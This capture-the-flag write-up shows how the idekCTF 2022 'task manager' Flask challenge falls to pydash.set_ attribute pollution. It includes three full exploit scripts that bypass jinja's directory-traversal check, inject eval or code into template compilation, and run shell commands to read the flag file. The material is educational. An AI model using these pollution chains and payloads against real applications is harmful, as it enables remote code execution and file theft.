This challenge is quite like a python version of prototype pollution, you can
also say that it uses some idea from pyjail, over all, it's a really
interesting one.

Let's have a look of the source:

app.py

```python  
from flask import Flask, render_template, request, redirect  
from taskmanager import TaskManager  
import os

app = Flask(__name__)

@app.before_first_request  
def init():  
if app.env == 'yolo':  
app.add_template_global(eval)

@app.route("/<path:path>")  
def render_page(path):  
if not os.path.exists("templates/" + path):  
return "not found", 404  
return render_template(path)

@app.route("/api/manage_tasks", methods=["POST"])  
def manage_tasks():  
task, status = request.json.get('task'), request.json.get('status')  
if not task or type(task) != str:  
return {"message": "You must provide a task name as a string!"}, 400  
if len(task) > 150:  
return {"message": "Tasks may not be over 150 characters long!"}, 400  
if status and len(status) > 50:  
return {"message": "Statuses may not be over 50 characters long!"}, 400  
if not status:  
tasks.complete(task)  
return {"message": "Task marked complete!"}, 200  
if type(status) != str:  
return {"message": "Your status must be a string!"}, 400  
if tasks.set(task, status):  
return {"message": "Task updated!"}, 200  
return {"message": "Invalid task name!"}, 400

@app.route("/api/get_tasks", methods=["POST"])  
def get_tasks():  
try:  
task = request.json.get('task')  
return tasks.get(task)  
except:  
return tasks.get_all()

@app.route('/')  
def index():  
return redirect("/home.html")

tasks = TaskManager()

app.run('0.0.0.0', 1337)

```

taskmanager.py

```python  
import pydash

class TaskManager:  
protected = ["set", "get", "get_all", "__init__", "complete"]

def __init__(self):  
self.set("capture the flag", "incomplete")

def set(self, task, status):  
if task in self.protected:  
return  
pydash.set_(self, task, status)  
return True

def complete(self, task):  
if task in self.protected:  
return  
pydash.set_(self, task, False)  
return True

def get(self, task):  
if hasattr(self, task):  
return {task: getattr(self, task)}  
return {}

def get_all(self):  
return self.__dict__  
```

The code is quite simple, the author built a flask app on top of
`pydash.set_`, which is a advanced version of `setattr` but supports to set a
variable by its path.

e.g.

```Python  
>>> pydash.set_({"A":{"B":"C"}}, "A.B", "D")  
{'A': {'B': 'D'}}  
```

## Accessing `app`

As there is nothing much could be use, it's a good idea to find out a way to
access `app.py`. With `pydash.set_()`, we can make it happen using some
special variables just like we usually do in ssti and pyjail:

```Python  
pydash.set_(  
TaskManager(),  
'__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app.xxx',  
'xxx'  
)  
```

## Adding `eval` to jinja globals

Let's have a look back at `app.py`, and it's not hard to find some strange
codes:

```python  
@app.before_first_request  
def init():  
if app.env == 'yolo':  
app.add_template_global(eval)  
```  
![](https://hxz3zo0taq.feishu.cn/space/api/box/stream/download/asynccode/?code=YjczMTMwMWMyZTY2OGIyNzg1Yzg2NmY0MzdiODBjZjFfb3hoOVltcEJiT0Y2Zkdsbm1CODF1b2JaR0tSNFRRZjNfVG9rZW46Ym94Y25tTTB0dldDSGdnNVIwcUg2SkVtd21ZXzE2NzQyNzg1MzE6MTY3NDI4MjEzMV9WNA)

We just got the access to `app.py`, which means `app.env` could be modified to
anything we want. If we could make the code above run again, we could invoke
`eval` function in templates and then trigger rce. Luckily, after some
digging, I just found it's possible by settting `app._got_first_request` to
`False`.

## Triggering `eval`

With `eval` in jinja globals, the next question is how can we invoke it. We
all know that jinja recognise variables by `{{.*}}`, what if we changed it? In
`app.jinja_env`, we could find two properties with the value of `{{` and `}}`
named `variable_start_string` and `variable_end_string`, which means we could
mark any code we want, including `eval(.*)`, as a jinja variable.

## Bypassing jinja directory traversal check

`eval` could only be invoked by ssti, but the html files under `templates`
directorry is obviously not usable. So we have to find a way to bypass jinja
directory traversal check to render any file we want.

From the jinja
source(https://github.com/pallets/jinja/blob/36b601f24b30a91fe2fdc857116382bcb7655466/src/jinja2/loaders.py#L24-L38)

![](https://pics.kdxcxs.com:4433/images/2023/01/21/20230121143335.png)

we could tell that jinja uses `os.path.pardir` to check directory traversal,
but we could change `pardir` to something else to bypass it.

## exp

By far, we've got anything we need to get a rce, the final step is to find a
file with `eval(.*)` in it and modify `variable_start_string` and
`variable_end_string` properties. I first tried using `app.py`, but jinja
could not parse it properly as I ended up constructing a form in `{{ eval{#
#}(.*) }}`, which is not a valid expression. But we just achieved directory
traversal, why not jumpping out of the chellenge files and find something in
python lib instead? And the final choice is `turtle.py`:

```Python  
import requests  
import re

base_url = 'http://127.0.0.1:1337'  
url = f'{base_url}/api/manage_tasks'  
exp_url = f'{base_url}/../../usr/local/lib/python3.8/turtle.py'  
app =
'__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.app'

# add eval to template globals  
requests.post(url, json={"task": f"{app}.env", "status": "yolo"})  
requests.post(url, json={"task": f"{app}._got_first_request", "status": None})

# bypass jinja directory traversal check  
requests.post(url, json={"task":
"__class__.__init__.__globals__.__spec__.loader.__init__.__globals__.sys.modules.__main__.os.path.pardir",
"status": "foobar"})

# change jinja_env  
requests.post(url, json={"task": f"{app}.jinja_env.variable_start_string",
"status": """'""']:\n value = """})  
requests.post(url, json={"task": f"{app}.jinja_env.variable_end_string",
"status": "\n"})

# add global vars  
requests.post(url, json={"task": f"{app}.jinja_env.globals.value", "status":
"__import__('os').popen('cat /flag-*.txt').read()"})

# get flag  
s = requests.Session()  
r = requests.Request(method='GET', url=exp_url)  
p = r.prepare()  
p.url = exp_url  
r = s.send(p)  
flag = re.findall('idek{.*}', r.text)[0]  
print(flag)  
```

## Unintended sol

To begin with, let's have a look at the `Dockerfile` first:

```Dockerfile  
RUN echo "idek{[REDACTED]}" > /flag-$(head -c 16 /dev/urandom | xxd -p).txt  
...  
COPY . .  
```

Which means the `Dockerfile` itself is copied into the container with flag
written on it, so it's a easier way to get flag by reading `Dockerfile`
instead of rce.

```Python  
import requests  
import re

base_url = 'http://127.0.0.1:1337'  
url = f'{base_url}/api/manage_tasks'  
exp_url = f'{base_url}/../Dockerfile'

# bypass jinja directory traversal check  
requests.post(url, json={"task":
"__class__.__init__.__globals__.__spec__.loader.__init__.__globals__.sys.modules.__main__.os.path.pardir",
"status": "foobar"})

# get flag  
s = requests.Session()  
r = requests.Request(method='GET', url=exp_url)  
p = r.prepare()  
p.url = exp_url  
r = s.send(p)  
flag = re.findall('idek{.*}', r.text)[0]  
print(flag)  
```

## RCE by `jinja2.runtime.exported`

> [https://github.com/Myldero/ctf-
> writeups/tree/master/idekCTF%202022/task%20manager](https://github.com/Myldero/ctf-
> writeups/tree/master/idekCTF%202022/task%20manager)

In the [source of
jinja](https://github.com/pallets/jinja/blob/main/src/jinja2/environment.py#L1208)
we know that the rendering function acctually invokes
`environment.from_string`, which then [invokes
`environment.compile`](https://github.com/pallets/jinja/blob/main/src/jinja2/environment.py#L1105)
and returns a `code` object generated by `__builtins__.compile`. The `code`
object endded up be
[execed](https://github.com/pallets/jinja/blob/main/src/jinja2/environment.py#L1222),
if we could control the `code` object, we get rce.

After some debugging, we could find a variable named `exported_names` is
[added](https://github.com/pallets/jinja/blob/main/src/jinja2/compiler.py#L839)
into the source code and latter compiled into the `code` object. And it's not
hard to find that it's a string array in
[jinja2.runtime](https://github.com/pallets/jinja/blob/main/src/jinja2/runtime.py#L45),
so we could change it by `pydash.set_()` and get rce:

```Python  
import requests, re

base_url = 'http://127.0.0.1:1337'  
url = f'{base_url}/api/manage_tasks'  
flag_url = f'{base_url}/../../tmp/flag'

payload = '''*  
__import__('os').system('cp /flag* /tmp/flag')  
#'''

# bypass jinja directory traversal check  
requests.post(url, json={"task":
"__init__.__globals__.__loader__.__init__.__globals__.sys.modules.__main__.os.path.pardir",
"status": "foobar"})

# replace exported to prepare rce  
requests.post(url, json={"task":
"__init__.__globals__.__loader__.__init__.__globals__.sys.modules.jinja2.runtime.exported.0",
"status": payload})

# trigger rce  
requests.get(f'{base_url}/home.html')

# get flag  
s = requests.Session()  
r = requests.Request(method='GET', url=flag_url)  
p = r.prepare()  
p.url = flag_url  
r = s.send(p)  
flag = re.findall('idek{.*}', r.text)[0]  
print(flag)  
```  

Original writeup (https://kdxcxs.github.io/en/posts/wp/idekctf-2022-task-
manager-wp/).